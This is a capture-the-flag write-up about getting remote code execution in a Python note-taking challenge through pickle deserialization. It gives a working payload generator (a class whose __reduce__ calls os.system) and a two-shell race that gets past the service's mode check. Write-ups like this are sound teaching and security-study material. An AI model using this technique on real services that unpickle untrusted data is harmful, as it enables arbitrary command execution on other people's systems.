As name of this challenge implies, it was about python pickle.
pickleprovides easy RCE if input data are received from an untrusted source
- you cannot decode pickled data to UTF-8 unless you specify python2 backwards compatible
- in python, you can append module to the variable (etc.
- you can open 2 shells with opened
Even if this was certainly challenge with pickle, this immidiately got our attention:
if username == 'nsnc': while True: print(eval(input()[:5]))
However, we weren’t able to do anything evil with just 5 characters, even with tricks like
We moved on and searched for
pickle. This was the only
load occurence, so it had to be our entry point:
with open(directory + '/' + hashlib.md5(bytes(name, 'cp1252')).hexdigest(), 'rb') as f: pickle.load(f).prints()
There was 1 occurence of dump, but without the possibility of dumping our own crafted class which is required for RCE. We immidiately went for
file.write calls since we have noticed that
pickle.load(f) is unpickling binary file.
There is 1 option of writing arbitrary content without any sanitization where we could write our pickled shellcode:
while line: content += line + '\n' line = input() with open(directory + '/' + hashlib.md5(bytes(name, 'cp1252')).hexdigest(), 'wb') as f: f.write(bytes(content, 'utf8')) # content.encode('utf-8')
We used this simple python script to generate our payload:
import os import pickle class EvilNote: def __reduce__(self): return os.system, ('ls',) # desired commands here print(pickle.dumps(EvilNote(), protocol=0)) # notice `protocol=0`
protocol=0 is necessary, otherwise your shellcode won’t be decodable from UTF-8. This string then gets encoded back to UTF-8 before writing to file.
> last catch
This however, still didn’t work. When we looked back at the source code, we noticed that file is deleting note in case if
mode doesn’t match:
if choice == '0': # Structured Note try: with open(directory + '/mode', 'r') as f: if f.read() != 'structured': os.system('rm ' + hashlib.md5(bytes(username, 'cp1252')).hexdigest() + '/*') except: pass # so good with open(directory + '/mode', 'w') as f: f.write('structured')
This was bypassed easily:
- open read of
structurednote and let it wait on
name = input('note name: ')
- open write of
freeformnote in new shell, write shellcode into your note
- write name of your
freeformnote and load your shellcode ¯\_(ツ)_/¯ 🎉